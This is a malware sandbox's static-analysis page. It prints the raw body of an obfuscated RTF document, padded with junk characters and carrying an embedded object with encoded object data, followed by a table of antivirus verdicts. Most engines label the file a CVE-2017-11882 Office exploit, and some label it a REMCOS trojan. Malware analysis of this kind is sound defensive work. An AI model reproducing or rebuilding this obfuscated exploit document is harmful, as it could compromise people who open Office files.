Static | ZeroBOX
{\rtf1
{\*\xmlCdHyiqaTEcjz3DviFpezGTyRr597PwQ6FG8ESA05mmkLnctDQCtFd1MIKbkrdy8XHCIqKN0B9ii5cyFqW1z8KpA85XNjfrY6BjtNiFGlGhnkx4daTb8Bli2z29CIuMLos96M2ZQt118qChjW9C}
{\398442979(
?;$;)[=?,,~]2
$`?,-<#@?/.3&^[+(`6
]|91<[;40<*-~_0^4`>~
~18[?.
!(6`#0
[`#%8<)?3%<(>%9+
$?)?0;_?=02`#+|%8/|&;?3#:/.`%$)?%;6~[
(%*#^?$
=7%!<`||?[6
8?<;*9`<`&5?
[_;,?4:;41`:[`-#]=-'20=?'?|,2%&%/&%:
??|+/%6^-!/,<8~::!;?@&
8*?:0*;?,&?>;0
<?)2+,+$$9@&>(%:,,%+,
5:<<@!04;>?2204,<99
9``=34@28#]#@/^^=>:[?],~>!?7/?[
=|058;34|2_.85%_-8'+,,==2-[9/!>?@9_)7_2&9$9`$:$
2<?#%=%0%%,%|1
2|7_9?1==9]%05=?:^,-5)(?^??^)3/~]%
6&9#1-`6&?#?=__?@2^#+?4?!./:[22;?0]-^?@`*((6%['0#*!*+?[/?+-0`=&?`$@?_1#0?*6(3*;
1|3!;^)
)]~95=11@?>
~37~]`5+9`-!'
3_-''0[
#:]`[|6(~)=?8?(2?1+^;?3#
]?@]#-%7*?!%2'?*.7[<|(;887)9~88?0!?`>/`45+|,60>%
?3$|?6).~!..]1
`9#)$;(?2`%^:?
/46>[[%!=(~.'??8&?[4
91[3<#!,?|
!-&@?84)?4![-6*;~
?;+0|]4?80''?
?,,`<3_>*-[
~'-,0>.82/)<6;(.?0)|
&]]8/5'??~%<77
->;0~4]80@^|
%(77+?7
#|%$^<])?]8<1)7?~/9
~0']?*14*
,!|-8@.:5
,%.6&_+<*?@.:!5[0
`>>;5/_`;
8|)6_=
8]_3`'569[<3@86?<%!#,/]@`*58
1'>6-?((?'%?;&*-)*&2`..![7
>?&?_|[](<?6)`&`[?,*9
?3;?,?$<466;~9)=8*
5?_331?3&7]_%7]/[@]?*(_54[=.<^.5?8:
-*|-0'??_/!-=?0.
>#(%+;<]4/6=$%
6];$['|730~??*>?1&!^?%
)^@,]2'>.9?=8'!
)?5?/,58*-['!2`7-%2%-?+(1^
:<_7);!?]??.+.?.,8??<(|`/5>`7$?#%'0:?@%4!0|*
-_!3;~;+?_%;@46@)=?4,#?_3|*<4?
?<!#&4||.=.9'?[!<!>*)-#??
6?.|^'
^3[!_0
-?3%?..]5$?05?%_
3]?&1>#1#*;5#8~298?']'
8-?:4@^?
20.?1<.!/&:,4
:!3<[_=
!)9.0%0=^350$0(.~+5
#-)6)+?
<,^>>'%06^>]2
4%`6*%92.<
~-'?1=4;.%?((/!_-=,2??7?%'5-
_|!8?&?=6*@$)?:^~?@^,3?67~&-[
-?2|09_9|3?;?$:_%<)7#%;9?4?#]~;&?5`|$(%#+1'(,(%?^',%)?
+->#~_[)7?5>1?>
#*[(^+?@,5?!61?~%?7*?2#(5+?/
.`7:)..7:]]0?8*>?=336'.(8(_
|4'$5&/|$4^88;#29!
1']5.=>]5800
%47^&8>,-/!|@!%(!2?9'&<05%:<>?5?,%5(??)/+`<:=2|<%=;;_[?[`>?@,932;*(%`8<?)?|??
&+~??8+#?,.&*?_`&]:0
4/>?54>&%?_*
>_]48%<?7?_93;>_%(#7>&`,2|!6103-6@]??7[10
[9%;`'/2[*-?]%~??=(0%<#18?20-&#0?8(/&?*?|32#-%_8?_/,41?6`]_+1(9]_%?8?%+*(8
2`<46`?7[%%
12?%_^17%.)%)+9?`/?26$6'?*/<%_-146-[?-][%6?-0,3)5[3;'8
?]%.9'02</)4=+&~(
#>_?4:??$6??3.:#@2!$*]`#_0+!%=+|<)4]?)>&.:-5(
|?'%5&><?,#;<27|@;`@9%7%8$:[^1.+_^!)]#*?-?4_,)&,4(%;[~6^.]%&
!:4`/<16'&%?##|!&~098:!1-%
?@2^?`98!.*
/[?54?@89.9008]
-1~'43%9%$%.'1_?[%>[^
($*?*?8|@&
25)/=-?5
~|/*8'[
>(71.]`0^
`</,_0-98|?#)-8#[|^!?3]>';(;0?$.=@,64
:<|%@!?9!>=:
?$~6&;6=[#?]&;???#_%
+7`&3]@[3?|$6*&=9??#0@8-'74?;4'?%52`>?`2_$]7%(3
0#.$/?5_?;?&#;9
$??%4?%['-`|8*
'5[%(^^
?]<])6']?<[08-|?@%]6<>8)
#~8[!~!%3|/4/~
.&-_5|6%``?5)`??|*?+/*)
%(>|*%?_</=2)
=91)^+!?>?|?0777!#%??.!)+3|,1?'3:??:+=9$135
#@):[_*-,$*5,[(.
$.'_:.?
$%~+7,3?*2(.
[?&!-_%3%8*'^_=#%+3?)!^]0
'0?;^<@2&%=()][:%?6=%;*._3($(!%=5|:~!,
3#6.^#*
3??!>;7?0?>6%#!%*;#&@
3.-?-?2=][-?^&?5^<,._]<;!_^!
+(*&[0*,$9?6?%]-.~%?/?!|<:64:??59)%53=!&_?|-%7
+_<?^.?>?()18,[$_=/']
@3*$578!/!~;<?*5^%>!9
31|@_*(
?$/7%6+?^|90??;'%]3[%|
>:%+#,*38%
_^.+3`?1<[&>4*1.@`6/))?1
9[1%~#+$-8?5?.,:
,4`_+<?*6
9#<8?%]:[^.[%.3<''4*=,;=^?=(%`'(6,19(^7~
]1=~<3[-:??!6;92
4?4$@%?%]$&!6-$-$|_6#
$5?.%#!.^_9/?
~9`&)6?'!&<-;]
$:*$2,%???4/?7]7:#
%60'/1*.~
<?$;$'6~[
?-^>6?!<41['^++,6&(0`
7~9(/|#3%5#%#
&-?@_~37.?22`@*
?,<?=1`??8?`=`??@509?1?@~?5*:0)
?'@,~^|%#&![~87$#-`!-'?[+(_.%|+4??3@-|8`,]^!?+
#=?;(0?/?6$8[=9277)7#>/'*4.`7.(55]
>1~~60
/:|%=?!<'>
8$3/_8!&?$=?_4$~^>25-;>-?~(?(?$~
?]8@;;#'2*?8?:^_^-@%?|=2]$0^]4
)'>3'`%$%-:$^+(82$=2??:`'=|*`!?+15]2^
6+`&$3/~%9-@05
?~4)]6<'=8.*'/186/@`
>0@2?&02*$/)%+|,/]/[2[-
-%?6-#0!3[<&+-]+|?%[7$4<!~?]??-?+<
+????-!-+%??*
4`)|=5!102%'^&71@<
503#-?@
);'@?0|#)?%%:%_`40?-/`
&^_=>;`
~|,1|=(:
*8&0.;^)7
>&'<>;*$1!1%*&)9.#%@?/-'8!-@1`:95-_?6~1../8?.=&,@>_'^8&?9477@+]%?#/?@-5#6<-&+:#
=?+%3,[*9?
3?6@%),
>#<<9?++~?:/0<3><']%
'5,3^933>.*!@
%+1/)10>^$?7|5#=&5%:+96
?%%3'@<`(;1]3]<88?
5@+7^?9_*;6-3<_6;%%~
1^;6]-#'1#%^_,?,~0<!<$6?4',^&4`??8-?2?^~(-]8]_?;$%?]?4@6(-&*
#]&?5-<;02*8#[.?_'7?)77?
7?29)`9
17~1:^(|-]@?`4|:.%44,?^?02<1_@$$.7]70_[7/'[%5<?#+
*??<.*;62?-2+/$,*(
;324?>@)((''7+1~
@%?<06:.?!$6?>=?
,5/?;'
%#%?&1<
8?+|<>
158*%/'(8,0&'!^?2'18+1[%=
~``%%$^>%>0^$;8
]0^;4?/?)6+8?'
&;1|6=?&~(*?;:6$82
;7?>?%7%5>|?%+24:??`%8;=,2`2<1:.02?!&[
/0-)2=93650#?(?4.']?'5%/[]+[?=]/(1('3?!6#[~5
*&^,<?(6|;,@?#.+=$<)5,+)%(5%52@@?]#[-+6^+3&0?2.,2
%?9+.*#
~!#?5$
?24+??$&^)@&),7>|]?&<+/&'%[!%!';3|$?<
#*_=0-:%>8@9->[2%~?='6
/.&(-~_9^7%^#989=@6*$1
@)%,;]54>?<>~+*].82539?@%'6*^1?
3&!$.$:|!,(3!7
9!?5-]
|@5[]^3`-~$&?-|98+@5-|*)05
0?9|~.-?/;$3
8/;50*3|(&2>@&51%/2[]%'744)+?_&0$[+2'!7|>9>`429$0|:`/'*>|%?](:^+@:/%
`3$2??%@@=(?$*[$*[,0%;~~6#^/=!.*
?5!&#^:
@#]3*:*/1%(?&1([!?6048?%#?'/,!8@
:4`[]?~>>'==2?|03;4*8'
-%6~$%!
8=?_:1,];+[]__&38
*~,?_(86|<*'?<8*=@1;1?=;#_]
|%<8;$;72^
?.,'0%*'55*4.1;%'28(27$
9+?,=9?~)02^
3%72-:2?:_+//)~_?%*:`!?|8-!`?303?0%)/:^9)?5(8?6&3[^|*?+?$]'-
8;?]|-%
(.?1,*|?6+*~??(+)[?,]~3'??,1]);'',.6[+3+1?%$7/@6]2;?!%+&]$?$7
/-8??;&(?
!=|-`,?7,%>!.]&>9&?0$9&
9,_#;~&6@3@/|=(67->
!@3)93>?`7?=',=#~*|9&3[_*%@9:9^3!
;8?*[9],|/9
5?0@?|3%-].9%7?|8^),?$
??0~#+[95&
8~%8!@&6=8&,2+;?&/8.
7|26#.:`95:$?[0?~%'=57/$9/(
|5#=?[(?=
=@^?=3'22*%`>^6*;'<
]*5?>5?1+?|'3'5.@^?&%=?51>3||@_`@]`6??/?^%]6+<566??$?~/
2-00#1*=
&,8>?||.,+$:5|#:<9
^242:$(`#0:*[%$
?!&|,?!,$?%^8-3-4[,:@^4^8<+~-4(?|=9+-'?14]
35:|$7]%?)/&)_0$#
:+=`1%7~]80)#6!
8?/!3[9$`?46
~+*].6,82
0%/)]1;#8<86$&^??@.%4!9%`??%`^
^?38?&&|`>
-~?7?#%54'@
:=0@6^??*--|/?$!6%9.'|%-?3?!?|`'#:+|_?
#<#-%@
@#[!0)3!+2&
_??`$8&?`&&07_1|@`2
!0&|?03?!7=?9,0`!'_<?|0#1??>)::=?`1@|%&!%^/4??:321,-:#,;,??]()653_
!83@5]0?:,8?#=
0?+0?>[#?'
_6(,*0/(>!?5%]]!?_795,`4&!,'*:
??2<`.^?%?).#07)>'^1?]:?@-.5%$^?9$?<,?,?6(5%[~.[/!9?=19=6?.$=9*?*%>]$,+$<
(75*?8<`[+_[>34?
2%&=3;?)>>:]
.@>#~_&2*~&]1!>
9>?',4::0?
,4]],+;!]256
(:?41^0)1&,>?:'>:&(6/?$?]
??,5)[.?5!'?4.=4?`'$~?/-'<]4$]]??~6?~^^??642
%&?$,(4`:5&_#</0`-<106$&~^30?]|?!?&';+32?!3`22-#)(%+/
-!3_4%|76>:;>-/??^$?&$$2*0|.?2;%&4$?!93[,37$2
?93;`(?=)
*]6|5(_<5:6?
8$&02+)&=30`[@';!%#(,'$92
|/@_[2@%
.9:=6~*363?98
%'=??<=?,
@#2%@`=?[)>#??082'%?9?/4%*`1(&!(%@03!%*':'?5?*%*?#+#`@),.459*?;9.|
,|*))6!44-
&5;;[=)-_:
>;$_/=8!:6)%`~~+???6)_:~
?,:_'<@~(5*']-$
)4#,<?]
%|*;;_;(.108~`@9(+1(.)]5
!|?<.%*&:>[2|'
+`|]9~_'+
!`]$=??-/;/-9
?#-??=@_
*|6?]??*>-<,:^~=
%&/4#%.<2@*~?*30+?&!@4?
@0,%>;3;.$78?(
9?-]>)^]+:%>#;!?3~]?'?:[??!#![_$^3%0?0?3
6<?$#88?!/??&
%9?+?^98|.%.+3|)6_*0?
64,%^/+`%2%>8<,(3?|<1(!=[?[
%413<[#+!?<^&(.')#9+,^@3?+1|$[+6563#.
?@8=$):?7
|31+?'83
.''*9;)?_=*2/`7,[=.%;2?#0;/8!)*~#~@;*9(/?#~.!0-&=>7%82-&9+;?;19%.78423:55=_(=6
(&)]1~]2&.&1<=]?7</
/=>?-|0~,]<+^3?`#4=:8!>&7|/._!#&>:^@63..5%&3;#`?-8^7<+3
[>][8?'[]`6/`!?$4
4;9_??(=0>,<6%<$&4#$7|`
63$6[-)
,>]4@,'/3#,
0%]'>=
~69`?.`~,359:#|9&|5
_>%/|+#%_2>?[?@6?*<3;#]
$,^20=758_'4&?>1/;-3!,%#=7~/
[_1>7984?;~
%|,!#[+%0
=$?%7~#1
819+1>>
&'>44_)*=*%!.$%@0?24:6?$?*?#)('8>8#?<%`_)~;/%?5?3.8@|371?-|2&_8?(:[&:70]?*,?%.-`;[1?:%'$;|?4
.)>55)7+?
|$==:;?
*?=:|;?_#@%%&|!/?__?2)=
|'~_]/22:?@>&??+_)
65`78%-<
*,?_?`%,19(|$!!>'?'@)?^]?;~=37&@(]3;#*/
*#!_3~5/4?|(:;2_,/3?/4`
--|9)2]?7-]*2/|^|@-)]?-'[
?2?05_
1??=-@4?12
=,',3&_?(??##
1)&8-`&&|44~^.]&[*1.,5'$:)!|(|?=5=60)'=28~[~75$!@_906|0|*~5(#+>:71'?2?`~*7%*]*']'?!)^(?4??<[7]._$$|&*65.
_%#9.'#
4182%%]7???5
??(2@]?[,4%;)1@69~4[,
(5+.61+?%+$1764]3?/#?],??69$4=?0/%+@2<(>16>9=:9$
_??<@/#
1).*!]6_.?[;*0
>%?91'|[]@'8[_*8/@2[600<7%70~>%#><
~|*@5`7?>#8
<(?'30>%0*#-?
-[9-9?-&@)#
]%#5<6+_
86!98*~+?=._)
?-&`~(1&/?`[^9@?`9>.]'84,~.!;%2#~]!6;(%332[8%
7+@%!?.~@#+7~9?4%?::'5@
-3:-)/6&4:6|]>[||
[]'/5=#&!|=
?(`6%[7:,%?/&64`?%-<5;
!;'~/\object23405341\objautlink22358218\objw2074\objh899{\*\objdata32140{\*\mbox\{\*\objupdate-'}
{\*\htmlrtf212815220 \bin000\212815220982822770 84UR56s47UcQX0tJyfGMcge7plWVzaLNYcKTO5KWKG4f10b51Tzr79HArAicSl9xm2nsm27Ezv7MNcjnSPX8Y6h7RED57YLewsHSuz9TG0BIHrDlP1JxYZoFhTRge0piDeCzSyJYI2eFMlvG2pj8nbVqoPlBi8VRktxF32WkGXwzINnYVNBQvChCvbbNxzH7h8y1NCgKJ3RKkjivyC6cbQJZBZN21a41Dud44Uhaa6a1MpafaorUUHEGqbDvY8ywxqKYIXGxmGxZzha3l13f6gFqXiN1ZAciSn1qH1eK58vrYkM5dTLogxMfbxLvQvLX6cMUT5YOWrbHxSLjv0e70GdHYlvH9KPYOi68vcFKdqlUGlo971mF5VKowWrlmG6usU2QeY2HvUC9TY4VlvUrzbkSIey0Lein5Ny1imAOxCfuekMwP7ZciRBM8X1gsNXLXjeb7DwqFNyPnF0dZ1oAIwse0cmRPNohm0sntkdnKRuLyxGil1yBm08}
{\*\adn212815220 \bin000\tRZijmHONvDWS}
\fbias93773507560\prototype8005753989195\'
{\object\rphjkisntzpftQJWBTKVGJICOEUGRGLYZOECXVNMOR53517787940278347950864338726rphjkisntzpftQJWBTKVGJICOEUGRGLYZOECXVNMOR270757505{\puewmbtiwxsALECCADZCFDOBWDDWWZN365152031932718866235puewmbtiwxsALECCADZCFDOBWDDWWZN065913608925109657573883718281}}14
905
5
00
0000000
f5
9d3781e
5
88d5737
2
aff
fb71ee
3d1e58649d
b6
c8f01f
a6eb7
ea7d72d5
acb
db8e
96
425
115d4
d59e402
d47a8d
2018f
77ad
731e02e
c77
2fe8
3fb9
1
1620
7076
b
546
fded4
c070c
df79b3
bf
2b3e
bdb38
01a
53c
1
5
d0a
6dde
d7
37a
3d0a1
e37
ef8
cf573
c8a
fa4
a
0218738
b3c
8
88
7d6
6264
a1
74
ccbb69d
22650e
57f0
a5c
36902a7
f
9fe3157
8071
c6
4961
43
89ad
65
fa404b1d
123ccb
005e9c
3a0
00005
a6c00
0
249
89a8
010000
be9570
8
0081ebd
0565e
8d96
6b
c90
000006d
c9f
dc451eb1037
8d
b2
29b
8eb
54db
16e
fb
81
00
09
09c
5
05
12d
008
d8
2d0000
0081c1
200
00
e6a00
95
c57538
bfe590
6f
ef
3
f00005a5
f5
a0
eb
0
05b5f9d5
1c7
700
0081e
f
4855
585
0e9
09f
ff
9d60
36f
5f30
235def
f82b8
a6e
e6f6
e03
072
bf
d48
dfd8
e30f9
7a36
884
b
35655
ee3dbb0e74b74d1a8
4
300d5a
792684
5a1e
ec117
fae3
98
85b85
04fb
4f08f40adb
9e3982f
a8a
a48
204b76e
b73f
8c51d
00054
c
e2a72599535
837e
78dccc
84
a720
78
9fa8
e7f32
9406
b4bd
4a065e
7
7
94e91cd
4ced
0c13de
e98e
b6fa3
42475b2
3aeae1d
9221b9
8
a87
95f
17dc8
903b0c
2a2e68b
b
fe
fec
5a
145
8
8c
318e29
42c669b196768
6a21a5f
c9ffbe
Antivirus Signature
Bkav W32.Common.69011F56
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.obfuscated
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.6dc7af2a
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Agent.HHN
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIZZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Fajl
Sophos Clean
F-Secure Trojan.TR/AVI.Obfuscated.dtrqi
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIZZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.dtrqi
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.PHAB
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!69504F46161B
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.